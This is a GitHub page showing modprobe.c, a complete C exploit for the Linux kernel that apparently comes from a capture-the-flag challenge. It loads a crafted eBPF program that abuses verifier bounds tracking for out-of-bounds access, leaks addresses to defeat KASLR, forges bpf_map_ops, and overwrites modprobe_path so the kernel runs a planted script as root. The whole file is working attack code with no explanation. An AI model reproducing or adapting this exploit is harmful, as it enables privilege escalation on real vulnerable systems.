-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathmodprobe.c
339 lines (300 loc) · 12.5 KB
/
modprobe.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdint.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/socket.h>
#include <errno.h>
#include <sys/prctl.h>
#include "linux/bpf.h"
#include "bpf_insn.h"
#define LOG_BUF_SIZE 65535
#define BPF_MAP_GET(idx, dst) \
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 = r9 */ \
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp */ \
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */ \
BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx), /* *(u32 *)(fp - 4) = idx */ \
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 == 0) */ \
BPF_EXIT_INSN(), /* exit(0); */ \
BPF_LDX_MEM(BPF_DW, (dst), BPF_REG_0, 0) /* r_dst = *(u64 *)(r0) */
#define BPF_MAP_GET_ADDR(idx, dst) \
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 = r9 */ \
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp */ \
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */ \
BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx), /* *(u32 *)(fp - 4) = idx */ \
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 == 0) */ \
BPF_EXIT_INSN(), /* exit(0); */ \
BPF_MOV64_REG((dst), BPF_REG_0) /* r_dst = (r0) */
int ctrlmapfd, expmapfd;
int progfd;
int sockets[2];
char bpf_log_buf[LOG_BUF_SIZE];
void gen_fake_elf(){
system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag\n' > /my_exp");
system("chmod +x /my_exp");
system("echo -ne '\\xff\\xff\\xff\\xff' > /fake");
system("chmod +x /fake");
}
void init(){
setbuf(stdin,0);
setbuf(stdout,0);
gen_fake_elf();
}
void x64dump(char *buf,uint32_t num){
uint64_t *buf64 = (uint64_t *)buf;
printf("[-x64dump-] start : \n");
for(int i=0;i<num;i++){
if(i%2==0 && i!=0){
printf("\n");
}
printf("0x%016lx ",*(buf64+i));
}
printf("\n[-x64dump-] end ... \n");
}
void loglx(char *tag,uint64_t num){
printf("[lx] ");
printf(" %-20s ",tag);
printf(": %-#16lx\n",num);
}
static int bpf_prog_load(enum bpf_prog_type prog_type,
const struct bpf_insn *insns, int prog_len,
const char *license, int kern_version);
static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
int max_entries);
static int bpf_update_elem(int fd ,void *key, void *value,uint64_t flags);
static int bpf_lookup_elem(int fd,void *key, void *value);
static void writemsg(void);
static void __exit(char *err);
struct bpf_insn insns[]={
//
BPF_LD_MAP_FD(9,3), //r9 = ctrl_map_fd
BPF_MAP_GET(0,5), //r5 = ctrl_map_fd[0], r0 = &ctrl_map
BPF_ALU64_IMM(BPF_MOV,0,1),
BPF_JMP32_IMM(BPF_JLE, 5, 0x7fffffff, 1), //if r5 > 0:jmp pc+1
BPF_EXIT_INSN(), //r5->min_val = 1
BPF_JMP_IMM(BPF_JGT, 5, 0, 1), //if r5 > 0:jmp pc+1
BPF_EXIT_INSN(), //r5->min_val = 1
BPF_LD_IMM64(6, 0x600000002), //r6 = 0x600000002
BPF_JMP_REG(BPF_JLT, 5, 6, 1), //if r5 < r:jmp pc+1
BPF_EXIT_INSN(), //r5->max_val = 0x100000001
BPF_ALU64_IMM(BPF_OR, 5, 0), //r5 |= 0
BPF_MOV32_REG(6, 5), //r6_32 = r5_32
BPF_ALU64_IMM(BPF_RSH, 6, 1), //r6 >>= 1
BPF_ALU64_IMM(BPF_MUL,6,0x110), //r6 *= 0x110
BPF_LD_MAP_FD(9,4), //r9 = exp_map_fd
BPF_MAP_GET_ADDR(0,7), //r7 = &exp_map
BPF_ALU64_IMM(BPF_MOV,0,1),
BPF_ALU64_REG(BPF_SUB,7,6), //r7 -= r6
//
BPF_LD_MAP_FD(9,3), //r9 = ctrl_map_fd
BPF_MAP_GET_ADDR(0,6), //r6 = %ctrl_map
BPF_ALU64_IMM(BPF_MOV,0,1),
BPF_LDX_MEM(BPF_DW,0,7,0), //r0 = [r7+0]
BPF_STX_MEM(BPF_DW,6,0,0x10), //r6+0x10 = r0 = ctrl_map[2]
BPF_LDX_MEM(BPF_DW,0,7,0xc0), //r0 = [r7+0xc0]
BPF_STX_MEM(BPF_DW,6,0,0x18), //r6+0x18 = r0 = ctrl_map[3]
BPF_ALU64_IMM(BPF_ADD,0,0x50), //r0 += 0x50 => element_addr
BPF_LDX_MEM(BPF_DW,8,6,8), //r8 = [r6+8] = ctrl_map[1]
BPF_JMP_IMM(BPF_JNE,8,0x2,6),
//arb write
BPF_STX_MEM(BPF_DW,7,0,0), //[r7] = [ops] = r0 = element_addr
BPF_ST_MEM(BPF_W,7,0x18,BPF_MAP_TYPE_STACK),//[ops+0x18] = BPF_MAP_TYPE_STACK
BPF_ST_MEM(BPF_W,7,0x24,-1), //max_entries
BPF_ST_MEM(BPF_W,7,0x2c,0), //locak_off
BPF_ALU64_IMM(BPF_MOV,5,0x1234), //test:r5 = 1
BPF_ALU64_IMM(BPF_MUL,5,0x6), //test:r5 = 1
//exit
BPF_ALU64_IMM(BPF_MOV,0,0), //
BPF_EXIT_INSN(),
};
void prep(){
ctrlmapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY,sizeof(int),0x100,0x1);
if(ctrlmapfd<0){ __exit(strerror(errno));}
expmapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY,sizeof(int),0x2000,0x1);
if(expmapfd<0){ __exit(strerror(errno));}
printf("ctrlmapfd: %d, expmapfd: %d \n",ctrlmapfd,expmapfd);
progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,
insns, sizeof(insns), "GPL", 0);
if(progfd < 0){ __exit(strerror(errno));}
if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)){
__exit(strerror(errno));
}
if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0){
__exit(strerror(errno));
}
}
void pwn(){
printf("pwning...\n");
uint32_t key = 0x0;
char *ctrlbuf = malloc(0x100);
char *expbuf = malloc(0x3000);
uint64_t *ctrlbuf64 = (uint64_t *)ctrlbuf;
uint64_t *expbuf64 = (uint64_t *)expbuf;
memset(ctrlbuf,'A',0x100);
for(int i=0;i<0x2000/8;i++){
expbuf64[i] = i+1;
}
ctrlbuf64[0]=2;
ctrlbuf64[1]=0;
bpf_update_elem(ctrlmapfd,&key,ctrlbuf,0);
bpf_update_elem(expmapfd,&key,expbuf,0);
writemsg();
// leak
memset(ctrlbuf,0,0x100);
bpf_lookup_elem(ctrlmapfd,&key,ctrlbuf);
x64dump(ctrlbuf,8);
bpf_lookup_elem(expmapfd,&key,expbuf);
x64dump(expbuf,8);
uint64_t map_leak = ctrlbuf64[2];
uint64_t elem_leak = ctrlbuf64[3]-0xc0+0x110;
//uint64_t kaslr = map_leak - 0xffffffff82016340;
uint64_t kaslr = map_leak - 0xffffffff820488c0;
loglx("map_leak",map_leak);
loglx("elem_leak",elem_leak);
loglx("kaslr",kaslr);
//loglx("modprobe",modprobe_path);
getchar();
uint64_t fake_map_ops[]={
kaslr + 0xffffffff811f9d70,
kaslr + 0xffffffff811fae80,
0x0,
kaslr + 0xffffffff811fa5e0,
kaslr + 0xffffffff811f9e60, //get net key 5
0x0,
0x0,
kaslr + 0xffffffff811dee60,
0x0,
kaslr + 0xffffffff811dec20,
0x0,
kaslr + 0xffffffff811f9f20,
kaslr + 0xffffffff811fa4c0,
kaslr + 0xffffffff811f9ea0,
kaslr + 0xffffffff811f9e60, //map_push_elem 15
0x0,
0x0,
0x0,
0x0,
kaslr + 0xffffffff811fa210,
0x0,
kaslr + 0xffffffff811fa030,
kaslr + 0xffffffff811fac70,
0x0,
0x0,
0x0,
kaslr + 0xffffffff811f9df0,
kaslr + 0xffffffff811f9e20,
kaslr + 0xffffffff811f9fc0,
0,
};
// overwrite bpf_map_ops
memcpy(expbuf,(void *)fake_map_ops,sizeof(fake_map_ops));
bpf_update_elem(expmapfd,&key,expbuf,0);
//overwrite fake ops
ctrlbuf64[0]=0x2;
ctrlbuf64[1]=0x2;
bpf_update_elem(ctrlmapfd,&key,ctrlbuf,0);
bpf_update_elem(expmapfd,&key,expbuf,0);
writemsg();
uint64_t modprobe_path = 0xFFFFFFFF826613C0+kaslr;
expbuf64[0] = 0x5f796d2f - 1;
bpf_update_elem(expmapfd,&key,expbuf,modprobe_path);
expbuf64[0] = 0x00707865 - 1;
bpf_update_elem(expmapfd,&key,expbuf,modprobe_path+4);
/*
//security_task_prctl:0xFFFFFFFF8147CAE0
//overwrite the hp->hook.task_prctl
uint64_t poweroff_work_func = 0xFFFFFFFF810C3270 + kaslr;
uint64_t poweroff_cmd = 0xFFFFFFFF82660C00 + kaslr;
//here issue
uint64_t hp_hook = 0xffffffff824466e0 + kaslr;
expbuf64[0] = (poweroff_work_func & 0xffffffff) - 1;
bpf_update_elem(expmapfd,&key,expbuf,hp_hook);
expbuf64[0] = (poweroff_work_func >> 32) - 1;
bpf_update_elem(expmapfd,&key,expbuf,hp_hook+4);
//overwite poweroff_cmd to "/bin/chmod 777 /flag"
expbuf64[0] = 0x6e69622f - 1;
bpf_update_elem(expmapfd,&key,expbuf,poweroff_cmd);
expbuf64[0] = 0x6d68632f - 1;
bpf_update_elem(expmapfd,&key,expbuf,poweroff_cmd+4);
expbuf64[0] = 0x3720646f - 1;
bpf_update_elem(expmapfd,&key,expbuf,poweroff_cmd+8);
expbuf64[0] = 0x2f203737 - 1;
bpf_update_elem(expmapfd,&key,expbuf,poweroff_cmd+0xc);
expbuf64[0] = 0x67616c66 - 1;
bpf_update_elem(expmapfd,&key,expbuf,poweroff_cmd+0x10);
//trigger
getchar();
prctl(0,0);
*/
return;
}
int main(int argc,char **argv){
init();
prep();
pwn();
return 0;
}
static void __exit(char *err) {
fprintf(stderr, "error: %s\n", err);
exit(-1);
}
static void writemsg(void)
{
char buffer[64];
ssize_t n = write(sockets[0], buffer, sizeof(buffer));
if (n < 0) {
perror("write");
return;
}
if (n != sizeof(buffer))
fprintf(stderr, "short write: %lu\n", n);
}
static int bpf_prog_load(enum bpf_prog_type prog_type,
const struct bpf_insn *insns, int prog_len,
const char *license, int kern_version){
union bpf_attr attr = {
.prog_type = prog_type,
.insns = (uint64_t)insns,
.insn_cnt = prog_len / sizeof(struct bpf_insn),
.license = (uint64_t)license,
.log_buf = (uint64_t)bpf_log_buf,
.log_size = LOG_BUF_SIZE,
.log_level = 1,
};
attr.kern_version = kern_version;
bpf_log_buf[0] = 0;
return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
}
static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
int max_entries){
union bpf_attr attr = {
.map_type = map_type,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries
};
return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
}
static int bpf_update_elem(int fd ,void *key, void *value,uint64_t flags){
union bpf_attr attr = {
.map_fd = fd,
.key = (uint64_t)key,
.value = (uint64_t)value,
.flags = flags,
};
return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}
static int bpf_lookup_elem(int fd,void *key, void *value){
union bpf_attr attr = {
.map_fd = fd,
.key = (uint64_t)key,
.value = (uint64_t)value,
};
return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}